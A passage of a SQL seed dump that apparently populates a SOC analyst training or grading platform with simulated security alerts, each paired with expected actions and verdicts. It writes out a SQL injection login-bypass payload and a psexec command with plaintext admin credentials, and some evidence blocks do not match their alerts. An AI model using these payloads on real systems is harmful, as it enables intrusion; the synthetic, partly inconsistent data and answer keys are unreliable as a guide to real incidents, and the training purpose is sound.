/tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.492Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T03:45:18Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"webadmin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /tmp/malicious_script.py\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(834, 'Potential Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'An email was received containing a URL linked to a known phishing campaign.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-14T07:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.2.20\",\"username\":\"jdoe\",\"hostname\":\"user-pc\",\"email_sender\":\"info@fakebank.com\",\"url\":\"http://malicious-link.com/login\"}', '2026-01-14 15:19:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"info@fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Email domain spoofing legitimate banking services\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL involved in phishing attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are part of a well-known phishing campaign targeting financial services.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Potential Phishing Email Detected with Malicious URL\",\"date\":\"2026-02-01T20:32:22.494Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(835, 'Suspicious Internal Lateral Movement Detected via PSExec', 'medium', 'Wazuh', 'PSExec tool used for potential unauthorized lateral movement within the network.', 'Lateral Movement', 'T1077', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T09:10:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"workstation02\",\"command_line\":\"psexec \\\\\\\\192.168.1.20 -u admin -p password cmd\"}', '2026-01-14 15:19:37', '2026-03-11 01:23:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.20 -u admin -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec usage is often associated with lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with admin credentials suggests unauthorized lateral movement.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.495Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:10:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"workstation02\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(836, 'Data Exfiltration Attempt via Suspicious External Connection', 'high', 'IDS/IPS', 'A connection was established to an external IP known for data exfiltration activities.', 'Data Exfil', 'T1048', 1, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T12:22:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"198.51.100.10\",\"username\":\"nsmith\",\"hostname\":\"laptop01\"}', '2026-01-14 15:19:37', '2026-03-11 01:23:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple data exfiltration incidents\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is known for data exfiltration, indicating a serious breach attempt.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.496Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T12:22:11Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"nsmith\\\",\\\"hostname\\\":\\\"laptop01\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(837, 'SQL Injection Attempt Detected on Web Server', 'critical', 'Linux Server', 'An SQL injection attempt was detected in a web request targeting the main web server.', 'Web Attack', 'T1190', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T14:55:32Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.75\",\"dst_ip\":\"192.168.1.50\",\"username\":\"\",\"hostname\":\"web-server\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"url\":\"http://example.com/login\"}', '2026-01-14 15:19:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://example.com/login\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Potential target for SQL injection\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a classic SQL injection attempt, requiring immediate remediation.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.497Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T14:55:32Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://example.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(838, 'Failed Brute Force Login Attempts Detected from External IP', 'medium', 'Linux Server', 'Multiple failed login attempts detected from an external IP, indicating a potential brute force attack.', 'Brute Force', 'T1110', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T16:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.100\",\"dst_ip\":\"192.168.1.55\",\"username\":\"admin\",\"hostname\":\"web-server\",\"failed_attempts\":25}', '2026-01-14 15:19:37', '2026-02-22 15:15:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The volume and pattern of failed attempts suggest a brute force attack from a known malicious IP.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(839, 'Unauthorized Port Scan Detected from Internal IP', 'low', 'Firewall', 'An internal IP was detected performing port scans across the network, likely an internal security test.', 'Suspicious Activity', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-01-14T18:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"security_test\",\"hostname\":\"security-scanner\"}', '2026-01-14 15:19:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"The activity matches the profile of an internal security scan, not a malicious attack.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(840, 'High Volume of DNS Requests Detected from Internal IP', 'low', 'DNS Server', 'A significant number of DNS requests were observed from an internal IP, likely due to a misconfigured system.', 'Anomaly', 'T1071', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-14T20:15:30Z\",\"event_type\":\"dns_request\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"8.8.8.8\",\"hostname\":\"misconfigured-device\"}', '2026-01-14 15:19:37', '2026-02-17 05:27:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"8.8.8.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Public DNS server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly\",\"analysis_notes\":\"The high volume of DNS requests is likely due to a misconfigured internal device, not a security threat.\"}', 'Intermediate', 'CORE', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(841, 'Ransomware Detected - LockBit 3.0 Encryption Activity', 'critical', 'CrowdStrike', 'CrowdStrike detected a ransomware encryption activity involving LockBit 3.0 on an internal host. Evidence of encrypted files and ransom note found.', 'Malware', 'T1486', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T03:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.10\",\"username\":\"jdoe\",\"hostname\":\"GOV-WS123\",\"command_line\":\"C:\\\\Program Files\\\\LockBit\\\\encrypt.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-01-14 15:21:38', '2026-02-16 17:57:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address indicating the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\LockBit\\\\encrypt.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known LockBit 3.0 ransomware executable.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with LockBit 3.0 ransomware.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"LockBit 3.0 ransomware activity confirmed by malicious file hash and command 